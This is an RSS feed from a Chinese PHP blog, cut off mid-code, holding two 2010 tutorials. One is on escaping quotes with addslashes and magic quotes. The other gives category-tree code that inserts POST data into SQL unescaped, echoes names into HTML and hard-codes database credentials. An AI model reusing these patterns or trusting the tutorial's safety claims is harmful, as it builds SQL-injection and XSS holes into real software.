<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>大宇空间 &#187; PHP</title>
	<atom:link href="http://www.dayu.name/p/category/php/feed" rel="self" type="application/rss+xml" />
	<link>http://www.dayu.name</link>
	<description>人生是一场旅行，我们才刚刚上路</description>
	<lastBuildDate>Sat, 31 Dec 2011 15:38:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>单双引号魔术引用详解，让用户提交的数据更安全</title>
		<link>http://www.dayu.name/p/569.html</link>
		<comments>http://www.dayu.name/p/569.html#comments</comments>
		<pubDate>Sun, 18 Jul 2010 04:57:14 +0000</pubDate>
		<dc:creator>大宇</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.dayu.name/?p=569</guid>
		<description><![CDATA[在项目开发中，我们会从客户端接受用户提交发送的数据，经过处理后保存到数据库的相应表格中。 这个过程中，有一个隐藏的安全性问题，这就是数据库SQL语句的引号引用处理。 如果此时$postVar_1和$getVar_2变量都是来自客户端提交的数据，那么这时隐藏的安全性问题就有可能危及数据服务器的安全。 例如：通常我们刚接触PHP的同学在书写代码中接受提交参数时，会写成 $postVar_1 = $_POST['var_1']; $getVar_2 = $_GET['var_2']; 下面我们分析两个SQL语句，看看是否存在安全性问题： SQL1:&#160; &#160; insert into tableName set col_1='$postVar_1'; SQL2:&#160; &#160; insert&#160;into tableName set col_2=&#34;$getVar_2&#34;; 注意： 若用户在表单中var_1处填写的数据为：I&#8217;m fine！ 若用户在表单中var_2处填写的数据为：This is &#8220;BUG&#8221;! 当我们只是简单的将这两个数据接受到变量中，并传入上面的SQL语句中就会出现，致命的SQL语句执行错误。 我们把数据代入SQL，看看究竟错误在哪里 SQL1:&#160; &#160;&#160; insert into tableName set col_1='I'm fine!'; SQL2:&#160; &#160;&#160; insert into tableName set col_2='This&#160;is &#34;BUG&#34;&#34;; 可以看出，单引号和双引号此时已经匹配的混乱了，用户提交的传入变量数据和SQL语句中用于字段值定界符的单双引号产生了混淆，若把这样的SQL语句放到执行过程中去，那么必定会报错，严重的会被人利用，攻破服务器的安全防护。 所以我们需要对此情况加以判别和处理，所以我们要对传入的参数进行单双引号的引用过滤解析，这就要用到我们之前学习过的一个非常简单的函数——addslashes： 我们把接受数据到变量的过程重新用addslashes做一遍单双引号的过滤解析后，再传递给SQL语句，那就是安全的了： $postVar_1 = addslashes($_POST['var_1']); $getVar_2 [...]]]></description>
			<content:encoded><![CDATA[<p>在项目开发中，我们会从客户端接受用户提交发送的数据，经过处理后保存到数据库的相应表格中。<br />
这个过程中，有一个隐藏的安全性问题，这就是数据库SQL语句的引号引用处理。</p>
<p>如果此时$postVar_1和$getVar_2变量都是来自客户端提交的数据，那么这时隐藏的安全性问题就有可能危及数据服务器的安全。<span id="more-569"></span></p>
<p>例如：通常我们刚接触PHP的同学在书写代码中接受提交参数时，会写成</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: #00008b;">$postVar_1</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$_POST</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">var_1</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$getVar_2</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">var_2</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
</ol></div>
<p>下面我们分析两个SQL语句，看看是否存在安全性问题：</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Blue;">SQL1</span><span style="color: Gray;">:&nbsp; &nbsp; </span><span style="color: Green;">insert</span><span style="color: Gray;"> </span><span style="color: Green;">into</span><span style="color: Gray;"> </span><span style="color: Blue;">tableName</span><span style="color: Gray;"> </span><span style="color: Green;">set</span><span style="color: Gray;"> </span><span style="color: Blue;">col_1</span><span style="color: Gray;">=</span><span style="color: #8b0000;">'</span><span style="color: Red;">$postVar_1</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: Blue;">SQL2</span><span style="color: Gray;">:&nbsp; &nbsp; </span><span style="color: Green;">insert</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">into</span><span style="color: Gray;"> </span><span style="color: Blue;">tableName</span><span style="color: Gray;"> </span><span style="color: Green;">set</span><span style="color: Gray;"> </span><span style="color: Blue;">col_2</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">$getVar_2</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li></ol></div>
<p>注意：<br />
若用户在表单中var_1处填写的数据为：I&#8217;m fine！<br />
若用户在表单中var_2处填写的数据为：This is &#8220;BUG&#8221;!</p>
<p>当我们只是简单的将这两个数据接受到变量中，并传入上面的SQL语句中就会出现，致命的SQL语句执行错误。</p>
<p>我们把数据代入SQL，看看究竟错误在哪里</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Blue;">SQL1</span><span style="color: Gray;">:&nbsp; &nbsp;&nbsp; </span><span style="color: Green;">insert</span><span style="color: Gray;"> </span><span style="color: Green;">into</span><span style="color: Gray;"> </span><span style="color: Blue;">tableName</span><span style="color: Gray;"> </span><span style="color: Green;">set</span><span style="color: Gray;"> </span><span style="color: Blue;">col_1</span><span style="color: Gray;">=</span><span style="color: #8b0000;">'</span><span style="color: Red;">I</span><span style="color: #8b0000;">'</span><span style="color: #00008b;">m</span><span style="color: Gray;"> </span><span style="color: Blue;">fine</span><span style="color: Gray;">!</span><span style="color: #8b0000;">'</span><span style="color: Red;">;</span></li>
<li><span style="color: Red;">SQL2:&nbsp; &nbsp;&nbsp; insert into tableName set col_2=</span><span style="color: #8b0000;">'</span><span style="color: Blue;">This</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">is</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">BUG</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Red;">;</span></li></ol></div>
<p>可以看出，单引号和双引号此时已经匹配的混乱了，<span style="color:red;"><strong>用户提交的传入变量数据</strong>和<strong>SQL语句中用于字段值定界符的单双引号</strong>产生了混淆</span>，若把这样的SQL语句放到执行过程中去，那么必定会报错，严重的会被人利用，攻破服务器的安全防护。</p>
<p>所以我们需要对此情况加以判别和处理，所以我们要对传入的参数进行单双引号的引用过滤解析，这就要用到我们之前学习过的一个非常简单的函数——addslashes：</p>
<p>我们把接受数据到变量的过程重新用addslashes做一遍单双引号的过滤解析后，再传递给SQL语句，那就是安全的了：</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: #00008b;">$postVar_1</span><span style="color: Gray;"> = </span><span style="color: Blue;">addslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_POST</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">var_1</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$getVar_2</span><span style="color: Gray;"> = </span><span style="color: Blue;">addslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">var_2</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;">;</span></li>
</ol></div>
<p>若还是上次输入的变量值，此时的SQL语句已经变为</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Blue;">SQL1</span><span style="color: Gray;">:&nbsp; &nbsp; </span><span style="color: Blue;">insert</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">into</span><span style="color: Gray;"> </span><span style="color: Blue;">tableName</span><span style="color: Gray;"> </span><span style="color: Blue;">set</span><span style="color: Gray;"> </span><span style="color: Blue;">col_1</span><span style="color: Gray;">=</span><span style="color: #8b0000;">'</span><span style="color: Red;">I</span><span style="color: Navy;">\'</span><span style="color: Red;">m fine!</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: Blue;">SQL2</span><span style="color: Gray;">:&nbsp; &nbsp; </span><span style="color: Blue;">insert</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">into</span><span style="color: Gray;"> </span><span style="color: Blue;">tableName</span><span style="color: Gray;"> </span><span style="color: Blue;">set</span><span style="color: Gray;"> </span><span style="color: Blue;">col_2</span><span style="color: Gray;">=</span><span style="color: #8b0000;">'</span><span style="color: Red;">This is </span><span style="color: Navy;">\&quot;</span><span style="color: Red;">BUG</span><span style="color: Navy;">\&quot;</span><span style="color: Red;">&quot;;</span></li>
<li><span style="color: Red;">?&gt;</span></li></ol></div>
<p>可见单双引号前都被加入了一个反斜杠，用以表明反斜杠之后的字符为单纯的字面意义，不再表示为引号的作用，就不会与SQL语句中的单双引号产生混淆了。</p>
<p>这样用的多了，必然会比较辛苦，让我们的程序中充满了addslashes这样的函数，为了偷懒，开发者想出一个办法，让PHP自动对所有用户提交的数据变量的值，都自动的进行单双引号的过滤解析，这就是<strong style="color:blue;">单双引号的魔术引用</strong>。</p>
<p>哪些数据是属于魔术引用自动处理的范围呢？主要有三种来自用户提交的数据：</p>
<p>    * $_POST：通过表单post发送的数据<br />
    * $_GET：通过URL地址传递的数据<br />
    * $_COOKIE：通过客户端浏览器cookie传递的数据</p>
<p>以上三种数据在一起简称为GPC，这下大家知道了把，其实就是三种变量的首字母简称大写组成。</p>
<p>魔术引用的开启和关闭是由php的配置文件php.ini来控制的，我们在其中搜索：magic_quotes_gpc可以查看到当前是否为off或on。</p>
<p>当然，你并不一定拥有自己的服务器，或者有足够的权限去修改php.ini这个配置文件（例如你租的只是虚拟空间），那么就无法自由控制魔术引用的开合关闭了，在代码中如何判别呢？通过get_magic_quotes_gpc()，这个函数的返回值，我们就可以知道当前php.ini中的当前魔术引用的开关状态。</p>
<p>再把魔术引用的开合关闭考虑到我们的代码中来，我们就发现原生态的php函数addslashes就不方便了，因为若服务器已经开启了魔术引用，我们再人工做转义解析，就多此一举了。反而会让addslashes产生的反斜杠多余，为此，我们需要自定义一个函数，首先来判断是否开启了魔术引用。<br />
若开启，则不做任何转义解析操作；若未开启，则人工通过addslashes加上反斜杠进行转义解析。</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: #ffa500;">//自定义的addslashes函数</span></li>
<li><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">add_slashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">get_magic_quotes_gpc</span><span style="color: Olive;">())</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$str</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span><span style="color: Green;">else</span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">addslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Olive;">}</span></li>
</ol></div>
<p>以后在代码中直接调用该函数就可以放心的使用了。但还是不够方便，他只是自动区分了魔术引用的开启和关闭，并没有减少代码中调用函数的次数，每次接受数据仍然要调用该函数，没有达到缩减代码的目的。为此，我们需要更高级的方法来对GPC变量进行解析转义操作，这就要考虑到GPC变量的特征了，三个全局变量数组，如果做呢？下面给出终极解决方案，数组的变量，以及函数的迭代调用。</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">add_slashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$var</span><span style="color: Gray;">, </span><span style="color: #00008b;">$force</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Blue;">get_magic_quotes_gpc</span><span style="color: Olive;">()</span><span style="color: Gray;"> || </span><span style="color: #00008b;">$force</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">is_array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$var</span><span style="color: Olive;">))</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">foreach</span><span style="color: Olive;">(</span><span style="color: #00008b;">$var</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$val</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$var</span><span style="color: Olive;">[</span><span style="color: #00008b;">$key</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: Blue;">add_slashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$val</span><span style="color: Gray;">, </span><span style="color: #00008b;">$force</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">else</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$var</span><span style="color: Gray;"> = </span><span style="color: Blue;">addslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$var</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$var</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: #00008b;">$_POST</span><span style="color: Gray;">=</span><span style="color: Blue;">add_slashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_POST</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$_GET</span><span style="color: Gray;">=</span><span style="color: Blue;">add_slashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$_COOKIE</span><span style="color: Gray;">=</span><span style="color: Blue;">add_slashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_COOKIE</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
</ol></div>
<p>把这段代码放到程序的入口处，就可以将GPC三个全局变量中的所有元素都自动的根据魔术引用的状态，适当的进行单双引号的转义解析了。</p>
<p><strong>好了，说了这么多，其实原理很简单，总结一下：<br />
1、首先判断是否开启魔术引用<br />
2、根据魔术引用状态，适当的做单双引号的解析转义处理<br />
3、若为数组，则遍历数组元素，迭代调用自定义函数</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dayu.name/p/569.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>无限级分类迭代方法的编辑操作方法</title>
		<link>http://www.dayu.name/p/504.html</link>
		<comments>http://www.dayu.name/p/504.html#comments</comments>
		<pubDate>Fri, 19 Mar 2010 02:46:28 +0000</pubDate>
		<dc:creator>大宇</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dayu.name/?p=504</guid>
		<description><![CDATA[无限级分类使用迭代的方法时，在显示编辑页面的时候，需要将编辑的分类所对应的本身及其所有子分类从分类列表中清楚，该代码的edit动作即完成此工作。同时还加入了css控制的显示效果。 /* * 迭代sql查询，生成无限级分类树 * 数据结构 &#160; &#160; CREATE TABLE `cat` ( &#160; &#160; &#160; &#160; `cid` INT(5) UNSIGNED NOT NULL AUTO_INCREMENT, &#160; &#160; &#160; &#160; `cname` VARCHAR(50) NOT NULL, &#160; &#160; &#160; &#160; `lev` INT(5) UNSIGNED NOT NULL COMMENT '分类层数', &#160; &#160; &#160; &#160; `pid` INT(5) UNSIGNED NOT NULL COMMENT '上级cid', &#160; &#160; &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>无限级分类使用迭代的方法时，在显示编辑页面的时候，需要将编辑的分类所对应的本身及其所有子分类从分类列表中清楚，该代码的edit动作即完成此工作。同时还加入了css控制的显示效果。<span id="more-504"></span></p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Gray;">/*</span></li>
<li><span style="color: Gray;"> * 迭代sql查询，生成无限级分类树</span></li>
<li><span style="color: Gray;"> * 数据结构</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; CREATE TABLE `cat` (</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; `cid` INT(5) UNSIGNED NOT NULL AUTO_INCREMENT,</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; `cname` VARCHAR(50) NOT NULL,</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; `lev` INT(5) UNSIGNED NOT NULL COMMENT '分类层数',</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; `pid` INT(5) UNSIGNED NOT NULL COMMENT '上级cid',</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; PRIMARY KEY (`cid`)</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; )</span></li>
<li><span style="color: Gray;"> */</span></li>
<li><span style="color: Gray;">error_reporting(7);</span></li>
<li><span style="color: Gray;">mysql_connect(&quot;localhost&quot;, &quot;hfphp&quot;, &quot;hfphp&quot;);</span></li>
<li><span style="color: Gray;">mysql_select_db(&quot;test&quot;);</span></li>
<li><span style="color: Gray;">mysql_query(&quot;set names utf8&quot;);</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">$act = $_GET['act'];</span></li>
<li><span style="color: Gray;">if($act == &quot;edit&quot;) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $edited_cid = intval($_GET['cid']);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; if(empty($edited_cid)) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; //出错提示</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; die(&quot;cid is not empty&quot;);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $query = &quot;select * from cat where cid='$edited_cid'&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $res = mysql_query($query);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $edited_cat = @mysql_fetch_assoc($res);</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $okArr = array();//保存目录树的数组</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $pid = 0;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; getCat($pid);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; ?&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;form method=&quot;post&quot; action=&quot;cat.php?act=insert&quot;&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; 分类名：&lt;input type=&quot;text&quot; name=&quot;cname&quot;/&gt;&lt;br /&gt;&lt;br /&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; 所属分类：&lt;select name=&quot;cid&quot;&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;option value=&quot;0&quot;&gt;根目录&lt;/option&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt; ?php</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $jump = false;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach($okArr as $row) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if($row['cid'] == $edited_cid) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $jump = true;//跳过开关打开</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }elseif($row['lev'] &lt;= $edited_cat['lev']) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * 根据迭代结果数组的分类顺序</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * 只要当前循环分类记录的lev等级小于等于所编辑的分类，即跳过阶段结束</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $jump = false;//跳过开关关闭</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if($jump == false) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;option value='&quot;.$row['cid'].&quot;'&gt;&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for($i=1;$i&lt; $row['lev'];$i++) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;　&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo $row['cname'];</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;/option&gt;&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ?&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &lt;/select&gt;&lt;br /&gt;&lt;br /&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &lt;input type=&quot;submit&quot; name=&quot;提交&quot;/&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;/form&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt; ?php</span></li>
<li><span style="color: Gray;">}elseif($act == &quot;insert&quot;) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $cname = trim($_POST['cname']);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $pid = intval($_POST['cid']);</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $query = &quot;select * from cat where cid='$pid'&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $res = mysql_query($query);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $row = @mysql_fetch_assoc($res);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $parent_lev = $row['lev'];</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $query = &quot;insert into cat set cname='$cname',lev='&quot;.($parent_lev+1).&quot;',pid='$pid'&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; mysql_query($query);</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; echo &quot;&lt;script&gt;alert('增加新分类成功');&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; echo &quot;location.href='&quot;.$_SERVER['PHP_SELF'].&quot;';&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; die;</span></li>
<li><span style="color: Gray;">}else{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $okArr = array();//保存目录树的数组</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $pid = 0;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; getCat($pid);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; ?&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;h2&gt;目录树&lt;/h2&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;style&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; div{margin:2px;border:1px solid gray;padding:5px;}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;/style&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;script src=&quot;jquery-1.3.2.min.js&quot;&gt;&lt;/script&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &lt;script&gt;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; function display(cid) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if($(&quot;.dd&quot;+cid).css(&quot;display&quot;) == &quot;block&quot;) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $(&quot;.dd&quot;+cid).css(&quot;display&quot;, &quot;none&quot;);</span></li>
